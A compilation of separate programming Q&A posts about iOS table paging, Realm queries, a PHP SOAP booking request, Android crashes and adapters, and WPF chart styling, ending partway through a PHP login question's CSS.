<p>Each cell is unique as each one displays different types of information. So I am checking for each <code>self.objects</code> by each unique quality they have.</p>
<pre><code>-(CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath {
// \!/ -trouble maker
PFObject *object = [self.objects objectAtIndex:indexPath.row];
NSString *orientation = object[@"orientation"];
NSNumber *height;
if ([orientation isEqual: @"left"] || [orientation isEqual: @"right"]) {
height = @400.0;
}
else if ([orientation isEqual: @"up"] || [orientation isEqual: @"down"]) {
height = @500.0;
}
else if (blah blah blah) {
//ect.
}
return [height floatValue];
}
</code></pre>
<p>This all works. That is, before I enable paging. </p>
<p><strong>When I enable paging</strong></p>
<p>Like most apps mine needs to be able to page through data, and that's what mine does. I set my <code>objectsPerPage</code> to 10 - <em>problem is, when I scroll down to that tenth cell and reload the next page...</em></p>
<pre><code>...reason: '*** -[__NSArrayM objectAtIndex:]: index 11 beyond bounds [0 .. 10]'
</code></pre>
<p><strong>Reason</strong></p>
<p>When it loads the next page, <code>self.objects</code> in heightForRowAtIndexPath is an NSArray that does not get loaded with the new objects. This is causing my app to crash and making me very frustrated.</p>
<p><strong>Question</strong></p>
<p>Does anybody know how to fix this issue? </p>
<p><strong>EDIT</strong> </p>
<pre><code>NSNumber *height;
if (indexPath.row > self.objects.count) {
height = @50.0;
}
else {
PFObject *object = [self.objects objectAtIndex:indexPath.row];
NSString *orientation = object[@"orientation"];
if ([orientation isEqual: @"left"] || [orientation isEqual: @"right"]) {
//HAS COMMENTS
if ([[object objectForKey:@"comments"]intValue] > 0) {
height = @618.0;
}
else {
//NO COMMENTS BUT HAS LIKES
if ([[object objectForKey:@"likes"]count] > 0) {
height = @398.0;
}
//HAS NOTHING
else {
height = @381.0;
}
}
}
else if ([orientation isEqual: @"up"] || [orientation isEqual: @"down"]) {
if ([[object objectForKey:@"comments"]intValue] > 0) {
height = @727.0;
}
else {
if ([[object objectForKey:@"likes"]count] > 0) {
height = @508.0;
}
else {
height = @490.0;
}
}
}
return [height floatValue];
}
</code></pre>
| 3 | 1,348 |
Is Realm's .where faster than filtering a list manually?
|
<p>I am creating a project using a realm database.</p>
<p>I also have a lot of lists which I wish to filter while the user types.</p>
<p>The biggest one of them will probably be the list of customers</p>
<p>Currently I am using realm by using a wrapper class for each object (if anyone has a better suggestion I'm definitely open to it)</p>
<p>The objects I am using are like this:</p>
<pre><code>public class Customer_Realm extends RealmObject{
private int _id;
private String _name; //...etc
public int get_id(){ return _id; }
public void set_id(int id) { _id = id;}
//etc
}
Public class Customer() {
Customer_Realm _base;
public Customer(Customer_Realm base) { _base = base;}
public int get_id(){ return _base.get_id(); }
public void set_id(int id) { _base.set_id(id);}
//...etc
}
</code></pre>
<p>Along with this I have an ArrayListAdapter for customer objects. My question is, would this:</p>
<pre><code>public class CustomerAdapter extends ArrayListAdapter<Customer> {
List<Customer> _customers;
String _filter = null;
public void set_filter(string name) {
_filter = name;
notifyDataSetChanged();
}
@override
public int getCount(){
return get_visible().count();
}
public Customer getItem(int position){
return get_visible().get(position);
}
public List<Customer> get_visible() {
if (_filter == null)
return _customers;
List<Customer> visible = new ArrayList<Customer> ();
foreach (Customer c : _customers){
if (c.get_name().contains(_filter)
visible.add(c);
}
return visible;
}
}
</code></pre>
<p>Or would this be better?</p>
<pre><code>public class CustomerAdapter extends ArrayListAdapter<Customer> {
Realm _database;
String _filter = null;
public void set_filter(string name) {
_filter = name;
notifyDataSetChanged();
}
@override
public int getCount(){
return get_visible().count();
}
public Customer getItem(int position){
return get_visible().get(position);
}
public List<Customer> get_visible() {
RealmResults<Customer_Realm> result = null;
if (_filter == null)
result = _database.allObjects(Customer_Realm.class);
else
result = _database.where(Customer_realm.class).contains("_name",_filter);
List<Customer> visible = new ArrayList<Customer> ();
foreach (Customer_Realm c : result){
visible.add(new Customer(c));
}
return visible;
}
}
</code></pre>
<p>Unfortunately my database contains only a small sample of data(and realm for windows does not have an editor so I can enter data manually) so when I try either implementation I do not see any difference, I was wondering if anyone has any experience with what happens when you use such an implementation with a large number of data</p>
<p>Thanks in advance for any help you can provide</p>
| 3 | 1,075 |
Soap to consume web service : Encoding: object has no 'any' property
|
<p>I have this WSDL <a href="http://testxml.e-tsw.com/AffiliateService/AffiliateService.svc?Wsdl" rel="nofollow noreferrer">http://testxml.e-tsw.com/AffiliateService/AffiliateService.svc?Wsdl</a></p>
<p>I am trying to use SoapClient to send a request to the Book method with the following code:</p>
<pre><code> <?php
$xml = '<Request Type="Reservation" Version="1.0">
<affiliateid>AF-TVOD</affiliateid>
<language>esp</language>
<currency>PE</currency>
<uid>m2r32b14es10socxtxs4y4ht</uid>
<ip>201.147.113.232</ip>
<firstname>prueba</firstname>
<lastname>prueba</lastname>
<emailaddress>prueba@bestday.com</emailaddress>
<country>MX</country>
<address>bonampak 4</address>
<city>cancun</city>
<state>QROO</state>
<zip>77500</zip>
<total>12346.51</total>
<naturalperson>
<gender></gender>
<nationality></nationality>
<number></number>
<type></type>
</naturalperson>
<legalperson>
<businessname></businessname>
<number></number>
<type></type>
</legalperson>
<phones>
<phone>
<type>2</type>
<number>9981454221</number>
</phone>
</phones>
<hotels>
<hotel>
<hotelid>100</hotelid>
<roomtype>SUPOV</roomtype>
<mealplan>EP</mealplan>
<datearrival>20141113</datearrival>
<datedeparture>20141115</datedeparture>
<couponid></couponid>
<marketid>INTER</marketid>
<contractid>2</contractid>
<dutypercent>0</dutypercent>
<rooms>
<room>
<amount>985.34</amount>
<status>AV</status>
<ratekey>90cba867-f916-4fb9-8cb4-ec925ded0fb3</ratekey>
<adults>1</adults>
<kids>1</kids>
<k1a>5</k1a>
</room>
</rooms>
</hotel>
</hotels>
<flights>
<flight>
<quoteid>1885e28d-5198-4dd5-92e6-6cee14a66b1b</quoteid>
<ratekey>bc1b40db-b0fb-40ff-92b3-6b7cde0d8685</ratekey>
<passengers>
<passenger>
<isadult>Y</isadult>
<agechild></agechild>
<firstname>Prueba</firstname>
<lastname>Prueba</lastname>
<daybirthday>05</daybirthday>
<monthbirthday>06</monthbirthday>
<yearbirthday>1905</yearbirthday>
<numberfrecuent></numberfrecuent>
<idfrecuent></idfrecuent>
<naturalperson>
<type></type>
<number></number>
</naturalperson>
</passenger>
</passengers>
<contacts>
<contact>
<firstname>Prueba</firstname>
<lastname>Prueba</lastname>
<email></email>
<phones>
<phone>
<type>1</type>
<number>(+52)654654646</number>
</phone>
</phones>
</contact>
</contacts>
</flight>
</flights>
<shuttles>
<shuttle>
<shuttleid>599</shuttleid>
<shuttletype>R</shuttletype>
<adults>2</adults>
<kids>0</kids>
<airportarrival>Aeropuerto Internacional de Cancun </airportarrival>
<airlinearrival>AC</airlinearrival>
<datearrival>20140501</datearrival>
<hourarrival>18:00</hourarrival>
<flightarrival>123</flightarrival>
<airlinedeparture>PU</airlinedeparture>
<datedeparture>20140502</datedeparture>
<hourdeparture>04:00</hourdeparture>
<flightdeparture>456</flightdeparture>
<hotelid>640</hotelid>
<amount>724.8</amount>
</shuttle>
</shuttles>
<insurances>
<insurance>
<insuranceid>12</insuranceid>
<adults>2</adults>
<children>0</children>
<amount>105.1049</amount>
<ratekey>4f2b132f-6663-427a-aa75-61c5d8e37635</ratekey>
</insurance>
</insurances>
<cars>
<car>
<agency>2</agency>
<sipp>AR133</sipp>
<amount>869.76</amount>
<brancharrival>139</brancharrival>
<airportarrival>CUN</airportarrival>
<datearrival>20140501</datearrival>
<hourarrival>12:00</hourarrival>
<branchdeparture>139</branchdeparture>
<airportdeparture>CUN</airportdeparture>
<datedeparture>20140502</datedeparture>
<hourdeparture>12:00</hourdeparture>
</car>
</cars>
<tours>
<tour>
<tourid>413</tourid>
<serviceid>1</serviceid>
<cityid>NOCIUDAD</cityid>
<adults>2</adults>
<kids>0</kids>
<datetour>20140711</datetour>
<hotelname>Cancun Clipper Club, Cancun Zona Hotelera Punta Cancun, Mexico</hotelname>
<timetour>00:00</timetour>
<amount>2035.62</amount>
<dutypercent>0</dutypercent>
</tour>
</tours>
<payments>
<cardpayment>
<type>86</type>
<bank>BC3</bank>
<number>XXXXXXXXXXXXXX</number>
<securitycode>1212</securitycode>
<expirationmonth>03</expirationmonth>
<expirationyear>2018</expirationyear>
<holdername>prueba prueba</holdername>
<address>bonampak 4</address>
<city>cancun</city>
<state>QROO</state>
<country>MX</country>
<zip>77500</zip>
<amount>12346.51</amount>
</cardpayment>
</payments>
</Request>';
$funcion = "Book";
ini_set('soap.wsdl_cache_enabled', 0);
$wsdl = 'http://testxml.e-tsw.com/AffiliateService/AffiliateService.svc?Wsdl';
$client = new SoapClient($wsdl);
$xml_reserva = simplexml_load_string($xml, NULL, LIBXML_NOCDATA);
try {
$respuesta = $client->__soapCall($funcion, array('Parameters' => $xml_reserva));
} catch (SoapFault $exception) {
echo $exception->getMessage();
}
?>
</code></pre>
<p>I get the following error:
<strong>SOAP-ERROR: Encoding: object has no 'any' property</strong></p>
<p>Important info: If I try with Gethotels and the following xml and "funcion" it works, but when I try to "Book" doesn't.</p>
<pre><code>$xml = '<Request Version="1.0" encoding="utf-8">
<d>2</d>
<a>AF-TVOD</a>
<l>esp</l>
</Request>';
$funcion = "GetHotels";
</code></pre>
| 3 | 3,920 |
onClick crash Resources$NotFoundException
|
<p>I'm creating a simple microwave power calculator app in Android Studio. I've only just downloaded this tonight and haven't written anything for Android before. </p>
<p>My code shows no errors yet when I run the app on my phone it force closes when I hit the calculate button, with the following error in the log.</p>
<pre><code>01-09 02:33:43.885 12397-12397/com.microwave D/OpenGLRenderer﹕ Enabling debug mode 0
01-09 02:33:48.319 12397-12397/com.microwave W/IInputConnectionWrapper﹕ beginBatchEdit on inactive InputConnection
01-09 02:33:48.319 12397-12397/com.microwave W/IInputConnectionWrapper﹕ endBatchEdit on inactive InputConnection
01-09 02:33:48.870 12397-12397/com.microwave W/IInputConnectionWrapper﹕ beginBatchEdit on inactive InputConnection
01-09 02:33:48.870 12397-12397/com.microwave W/IInputConnectionWrapper﹕ endBatchEdit on inactive InputConnection
01-09 02:33:50.591 12397-12397/com.microwave W/IInputConnectionWrapper﹕ beginBatchEdit on inactive InputConnection
01-09 02:33:50.591 12397-12397/com.microwave W/IInputConnectionWrapper﹕ endBatchEdit on inactive InputConnection
01-09 02:33:51.862 12397-12397/com.microwave W/IInputConnectionWrapper﹕ beginBatchEdit on inactive InputConnection
01-09 02:33:51.862 12397-12397/com.microwave W/IInputConnectionWrapper﹕ endBatchEdit on inactive InputConnection
01-09 02:33:53.404 12397-12397/com.microwave W/ResourceType﹕ No known package when getting value for resource number 0xffffff38
01-09 02:33:53.404 12397-12397/com.microwave D/AndroidRuntime﹕ Shutting down VM
01-09 02:33:53.404 12397-12397/com.microwave W/dalvikvm﹕ threadid=1: thread exiting with uncaught exception (group=0x41ed6d40)
01-09 02:33:53.414 12397-12397/com.microwave E/AndroidRuntime﹕ FATAL EXCEPTION: main
Process: com.microwave, PID: 12397
java.lang.IllegalStateException: Could not execute method of the activity
at android.view.View$1.onClick(View.java:3823)
at android.view.View.performClick(View.java:4438)
at android.view.View$PerformClick.run(View.java:18422)
at android.os.Handler.handleCallback(Handler.java:733)
at android.os.Handler.dispatchMessage(Handler.java:95)
at android.os.Looper.loop(Looper.java:136)
at android.app.ActivityThread.main(ActivityThread.java:5034)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:515)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1270)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1086)
at de.robv.android.xposed.XposedBridge.main(XposedBridge.java:132)
at dalvik.system.NativeStart.main(Native Method)
Caused by: java.lang.reflect.InvocationTargetException
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:515)
at android.view.View$1.onClick(View.java:3818)
at android.view.View.performClick(View.java:4438)
at android.view.View$PerformClick.run(View.java:18422)
at android.os.Handler.handleCallback(Handler.java:733)
at android.os.Handler.dispatchMessage(Handler.java:95)
at android.os.Looper.loop(Looper.java:136)
at android.app.ActivityThread.main(ActivityThread.java:5034)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:515)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1270)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1086)
at de.robv.android.xposed.XposedBridge.main(XposedBridge.java:132)
at dalvik.system.NativeStart.main(Native Method)
Caused by: android.content.res.Resources$NotFoundException: String resource ID #0xffffff38
at android.content.res.Resources.getText(Resources.java:244)
at android.content.res.XResources.getText(XResources.java:696)
at android.widget.TextView.setText(TextView.java:3888)
at com.microwave.MainActivity.calculate(MainActivity.java:62)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:515)
at android.view.View$1.onClick(View.java:3818)
at android.view.View.performClick(View.java:4438)
at android.view.View$PerformClick.run(View.java:18422)
at android.os.Handler.handleCallback(Handler.java:733)
at android.os.Handler.dispatchMessage(Handler.java:95)
at android.os.Looper.loop(Looper.java:136)
at android.app.ActivityThread.main(ActivityThread.java:5034)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:515)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1270)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1086)
at de.robv.android.xposed.XposedBridge.main(XposedBridge.java:132)
at dalvik.system.NativeStart.main(Native Method)
</code></pre>
<p>Here's the rest of the code and the XML. I assume I have something very basic wrong as I'm just using prior basic Java knowledge and know nothing about android.</p>
<pre><code><RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"
android:layout_height="match_parent" android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin" tools:context=".MainActivity">
<LinearLayout
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:layout_alignParentTop="true"
android:layout_alignParentLeft="true"
android:layout_alignParentStart="true">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="Recipe Power"
android:id="@+id/textView" />
<EditText
android:layout_width="106dp"
android:layout_height="wrap_content"
android:inputType="number"
android:ems="10"
android:id="@+id/recipeP"
android:layout_gravity="right"
android:enabled="true" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="Microwave Power"
android:id="@+id/textView2" />
<EditText
android:layout_width="106dp"
android:layout_height="wrap_content"
android:inputType="number"
android:ems="10"
android:id="@+id/microwaveP"
android:layout_gravity="right" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="Recipe Time"
android:id="@+id/textView3" />
<EditText
android:layout_width="106dp"
android:layout_height="wrap_content"
android:inputType="number"
android:ems="10"
android:id="@+id/recipeT"
android:layout_gravity="right" />
<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Calculate"
android:id="@+id/calculateButton"
android:layout_gravity="center_horizontal"
android:nestedScrollingEnabled="false"
android:enabled="true"
android:onClick="calculate" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:id="@+id/result"
android:layout_gravity="center_horizontal" />
</LinearLayout>
</RelativeLayout>
</code></pre>
<p>Main activity</p>
<pre><code>package com.microwave;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.text.Editable;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
public class MainActivity extends ActionBarActivity {
EditText microwaveP;
EditText recipeP;
EditText recipeT;
TextView result;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}
public void calculate(View view){
int recipePower = Integer.parseInt(recipeP.getText().toString());
int microwavePower = Integer.parseInt(microwaveP.getText().toString());
int recipeTime = Integer.parseInt(recipeT.getText().toString());
int difference = recipePower - microwavePower;
int differencePercent = recipePower / difference;
int microwaveTime = recipeTime * differencePercent;
result.setText(microwaveTime);
}
}
</code></pre>
| 3 | 4,118 |
Listview doesn't gives correct values
|
<p>I'm getting wrong values from the Listview after clicking on it.</p>
<p><strong>Flow:</strong></p>
<p>a)I have a Spinner once Spinner selected the Listview values gets changed using the help of an Asynctask.</p>
<p>OnPostMethod Method of Asynctask to load items in the Listview</p>
<pre><code>protected void onPostExecute(List<MIC_OrderDetails> lst) {
dialog.setMessage("Inflating Data...");
if (lst.get(lst.size() - 1).getResult().contains(("success"))) {
ordList.addAll(lst);
ordList.notifyDataSetChanged();
dialog.dismiss();
/*
* ordList = new MicListAdapter(InventoryCount.this, lst);
* lstView.setAdapter(ordList);
*
* dialog.dismiss();
*/
} else {
dialog.dismiss();
toastText.setText("Problem in loading Items");
Toast toast = new Toast(getApplicationContext());
toast.setGravity(Gravity.CENTER_VERTICAL, 0, 410);
toast.setDuration(Toast.LENGTH_LONG);
toast.setView(toastLayout);
toast.show();
}
}
</code></pre>
<p>In My Adapter MicListAdapter i have created addAll() method since direct invocation doesn't work for me</p>
<pre><code>public void addAll(List<MIC_OrderDetails> lst) {
this.alllst.clear();
this.alllst.addAll(lst);
this.notifyDataSetChanged();
}
</code></pre>
<p>b)OnClicking the Listview the values corresponds to it doesn't comes in my Custom Dialog box ie</p>
<p>Suppose my Spinner contains two values(1 & 2).By default at the first time 1 will be shown in the Spinner when i changed it to 2 the Listview values gets affected that corresponds to "2" but when i clicked on the Listview the values that i got belongd to "1".</p>
<p>Here is the code snippet for Listview onclick </p>
<pre><code> lstView.setOnItemClickListener(new OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> arg0, View arg1,
int position, long arg3) {
MIC_OrderDetails list_obj = new MIC_OrderDetails();
list_obj = (MIC_OrderDetails) lstView
.getItemAtPosition(position);
ItemNo = list_obj.getItemNumber();
Desc = list_obj.getItemDescription();
PickSeq = list_obj.getPickSeq();
StockUnit = list_obj.getUnit();
qtyonHand = list_obj.getQtyonHand();// This value gives
// QOHand
qtyCount = list_obj.getQtyCount();
loc = mspinner.getItemAtPosition(
mspinner.getSelectedItemPosition()).toString();
medtItem.setText(ItemNo);
medtdesc.setText(Desc);
qtyCount = supporter.getCurrencyFormat(Double
.parseDouble(qtyCount));
medtQtyCount.setText(qtyCount);
medtuom.setText(StockUnit);
medtQtyCountTotal.setText(qtyCount);
.....
});
</code></pre>
<p>This is my full adapter class.</p>
<pre><code>public class MicListAdapter extends ArrayAdapter<MIC_OrderDetails> implements
Filterable {
List<MIC_OrderDetails> alllst;
List<MIC_OrderDetails> list;
List<MIC_OrderDetails> filterlst;
// = new ArrayList<MIC_OrderDetails>();
Context context;
TextView txtitem;
TextView txtdesc;
TextView txtpick;
TextView txtQtyonHand;
TextView txtQtyCounted;
TextView txtuom;
/* TextView txtstatus; */
private ModelFilter filter;
@Override
public Filter getFilter() {
if (filter == null) {
filter = new ModelFilter();
}
return filter;
}
public MicListAdapter(Context context, List<MIC_OrderDetails> value) {
// TODO Auto-generated constructor stub
super(context, R.layout.six_textview, value);
this.context = context;
this.list = value;
this.alllst = new ArrayList<MIC_OrderDetails>(list);
this.filterlst = new ArrayList<MIC_OrderDetails>(alllst);
getFilter();
}
public void addAll(List<MIC_OrderDetails> lst) {
this.alllst.clear();
this.alllst.addAll(lst);
this.notifyDataSetChanged();
}
@Override
public int getCount() {
// TODO Auto-generated method stub
return alllst.size();
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
final int pos = position;
View view = null;
if (convertView == null) {
convertView = LayoutInflater.from(getContext()).inflate(
R.layout.six_textview, parent, false);
txtitem = (TextView) convertView.findViewById(R.id.txt_fullItemNo);
txtdesc = (TextView) convertView.findViewById(R.id.txt_fullDesc);
txtpick = (TextView) convertView.findViewById(R.id.txt_fullLoc);
txtQtyonHand = (TextView) convertView
.findViewById(R.id.txt_fullord);
txtQtyCounted = (TextView) convertView
.findViewById(R.id.txt_fullrecqty);
txtuom = (TextView) convertView.findViewById(R.id.txt_fullUom);
convertView.setTag(new OrdersViewHolder(txtitem, txtdesc, txtpick,
txtQtyonHand, txtQtyCounted, txtuom));
} else {
OrdersViewHolder viewHolder = (OrdersViewHolder) convertView
.getTag();
}
OrdersViewHolder holder = (OrdersViewHolder) convertView.getTag();
holder.txtitem.setText(alllst.get(position).getItemNumber());
holder.txtdesc.setText(alllst.get(position).getItemDescription());
holder.txtpick.setText(alllst.get(position).getPickSeq());
holder.txtQtyonHand.setText((alllst.get(position).getQtyonHand()));
/*
* String o=(lst.get(position).getQtyShiped()).toString(); String
* u=lst.get(position).getUom();
*/
holder.txtQtyCounted.setText((alllst.get(position).getQtyCount()));
holder.txtuom.setText(alllst.get(position).getUnit());
/* holder.txtstatus.setText(alllst.get(position).getStatus()); */
return convertView;
}
/** Holds child views for one row. */
static class OrdersViewHolder {
TextView txtitem;
TextView txtdesc;
TextView txtpick;
TextView txtQtyonHand;
TextView txtQtyCounted;
TextView txtuom;
/* TextView txtstatus; */
public OrdersViewHolder(TextView txtitem, TextView txtdesc,
TextView txtpick, TextView txtQtyonHand,
TextView txtQtyCounted, TextView txtuom) {
// TODO Auto-generated constructor stub
this.txtitem = txtitem;
this.txtdesc = txtdesc;
this.txtpick = txtpick;
this.txtQtyonHand = txtQtyonHand;
this.txtQtyCounted = txtQtyCounted;
this.txtuom = txtuom;
/* this.txtstatus=txtstatus; */
}
</code></pre>
<p>Can anyone please tell me why this scenario occurs for me...Thanks in advance</p>
| 3 | 3,200 |
LabeledPieChart: Style overrides DataTemplate
|
<p>I have customized the template of LabeledPieChart (source: <a href="http://bea.stollnitz.com/blog/?p=438" rel="nofollow">Bea</a>) in a Style. Then I created a DataTemplate for the Slices of the LabeledPieChart. Both the style and the DataTemplate works great if they are alone. If they are together the Style overrides the DataTemplate that he has no effect. Is it possible to combine these two?
Here is my Code (The Style and the DataTemplate are in Window.Resources):</p>
<p><strong>Style:</strong></p>
<pre><code><Style TargetType="customControls:LabeledPieChart" >
<Setter Property="Template">
<Setter.Value>
<ControlTemplate TargetType="customControls:LabeledPieChart">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="15*" />
<ColumnDefinition Width="9*" />
</Grid.ColumnDefinitions>
<Grid Grid.Column="0">
<Grid.RowDefinitions>
<RowDefinition Height="Auto" />
<RowDefinition Height="*" />
</Grid.RowDefinitions>
<dataVis:Title Content="{TemplateBinding Title}" Style="{TemplateBinding TitleStyle}" Margin="0,5,0,3"/>
<Grid Grid.Row="1" Margin="5">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="*" />
<ColumnDefinition Width="Auto" />
</Grid.ColumnDefinitions>
<chartPrmtvs:EdgePanel x:Name="ChartArea" Style="{TemplateBinding ChartAreaStyle}">
<Grid Canvas.ZIndex="-1" Background="Transparent" />
<Border Canvas.ZIndex="10" BorderBrush="#FF919191" BorderThickness="0" />
</chartPrmtvs:EdgePanel>
</Grid>
</Grid>
<dataVis:Legend x:Name="Legend" Style="{TemplateBinding LegendStyle}" Title="{TemplateBinding LegendTitle}"
BorderThickness="0" Background="Transparent" FontSize="15" Grid.Column="1"/>
</Grid>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</code></pre>
<p><strong>DataTemplate:</strong></p>
<pre><code><DataTemplate DataType="{x:Type local:City}" >
<Border BorderThickness="1" BorderBrush="Gray">
<StackPanel Background="White" Orientation="Horizontal">
<TextBlock Text="{Binding RelativeSource={RelativeSource AncestorType={x:Type customControls:PieChartLabel}}, Path=FormattedRatio}" VerticalAlignment="Center" Margin="5,0,5,0" />
<TextBlock Text="- " />
<TextBlock Text="{Binding Path=Population}" Margin="5,0,5,0" />
<TextBlock Text="- " />
<TextBlock Text="{Binding Name}" Margin="0,0,5,0"/>
</StackPanel>
</Border>
</DataTemplate>
</code></pre>
<p><strong>LabeldPieChart:</strong></p>
<pre><code><Grid>
<customControls:LabeledPieChart
x:Name="labeledPieChart"
Title="Population of Puget Sound Cities"
Height="500" Width="700"
Grid.Row="3"
BorderBrush="Gray"
>
<customControls:LabeledPieChart.Series>
<customControls:LabeledPieSeries
x:Name="labeledPieSeries"
ItemsSource="{Binding}"
IndependentValuePath="Name"
DependentValuePath="Population"
IsSelectionEnabled="True"
LabelDisplayMode="Auto"
/>
</customControls:LabeledPieChart.Series>
</customControls:LabeledPieChart>
</Grid>
</code></pre>
| 3 | 2,271 |
how i can connect and login in mysql localhost in php by using this html code
|
<p>how i can connect with database by using this code and how i can login for student and redirect to the student panel please write down
the php login code</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>body {
background: #DCDDDF url(http://cssdeck.com/uploads/media/items/7/7AF2Qzt.png);
color: #000;
font: 14px Arial;
margin: 0 auto;
padding: 0;
position: relative;
}
h1{ font-size:28px;}
h2{ font-size:26px;}
h3{ font-size:18px;}
h4{ font-size:16px;}
h5{ font-size:14px;}
h6{ font-size:12px;}
h1,h2,h3,h4,h5,h6{ color:#563D64;}
small{ font-size:10px;}
b, strong{ font-weight:bold;}
a{ text-decoration: none; }
a:hover{ text-decoration: underline; }
.left { float:left; }
.right { float:right; }
.alignleft { float: left; margin-right: 15px; }
.alignright { float: right; margin-left: 15px; }
.clearfix:after,
form:after {
content: ".";
display: block;
height: 0;
clear: both;
visibility: hidden;
}
.container { margin: 25px auto; position: relative; width: 900px; }
#content {
background: #f9f9f9;
background: -moz-linear-gradient(top, rgba(248,248,248,1) 0%, rgba(249,249,249,1) 100%);
background: -webkit-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -o-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -ms-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f8f8f8', endColorstr='#f9f9f9',GradientType=0 );
-webkit-box-shadow: 0 1px 0 #fff inset;
-moz-box-shadow: 0 1px 0 #fff inset;
-ms-box-shadow: 0 1px 0 #fff inset;
-o-box-shadow: 0 1px 0 #fff inset;
box-shadow: 0 1px 0 #fff inset;
border: 1px solid #c4c6ca;
margin: 0 auto;
padding: 25px 0 0;
position: relative;
text-align: center;
text-shadow: 0 1px 0 #fff;
width: 400px;
}
#content h1 {
color: #7E7E7E;
font: bold 25px Helvetica, Arial, sans-serif;
letter-spacing: -0.05em;
line-height: 20px;
margin: 10px 0 30px;
}
#content h1:before,
#content h1:after {
content: "";
height: 1px;
position: absolute;
top: 10px;
width: 27%;
}
#content h1:after {
background: rgb(126,126,126);
background: -moz-linear-gradient(left, rgba(126,126,126,1) 0%, rgba(255,255,255,1) 100%);
background: -webkit-linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -o-linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -ms-linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: linear-gradient(left, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
right: 0;
}
#content h1:before {
background: rgb(126,126,126);
background: -moz-linear-gradient(right, rgba(126,126,126,1) 0%, rgba(255,255,255,1) 100%);
background: -webkit-linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -o-linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: -ms-linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
background: linear-gradient(right, rgba(126,126,126,1) 0%,rgba(255,255,255,1) 100%);
left: 0;
}
#content:after,
#content:before {
background: #f9f9f9;
background: -moz-linear-gradient(top, rgba(248,248,248,1) 0%, rgba(249,249,249,1) 100%);
background: -webkit-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -o-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: -ms-linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
background: linear-gradient(top, rgba(248,248,248,1) 0%,rgba(249,249,249,1) 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f8f8f8', endColorstr='#f9f9f9',GradientType=0 );
border: 1px solid #c4c6ca;
content: "";
display: block;
height: 100%;
left: -1px;
position: absolute;
width: 100%;
}
#content:after {
-webkit-transform: rotate(2deg);
-moz-transform: rotate(2deg);
-ms-transform: rotate(2deg);
-o-transform: rotate(2deg);
transform: rotate(2deg);
top: 0;
z-index: -1;
}
#content:before {
-webkit-transform: rotate(-3deg);
-moz-transform: rotate(-3deg);
-ms-transform: rotate(-3deg);
-o-transform: rotate(-3deg);
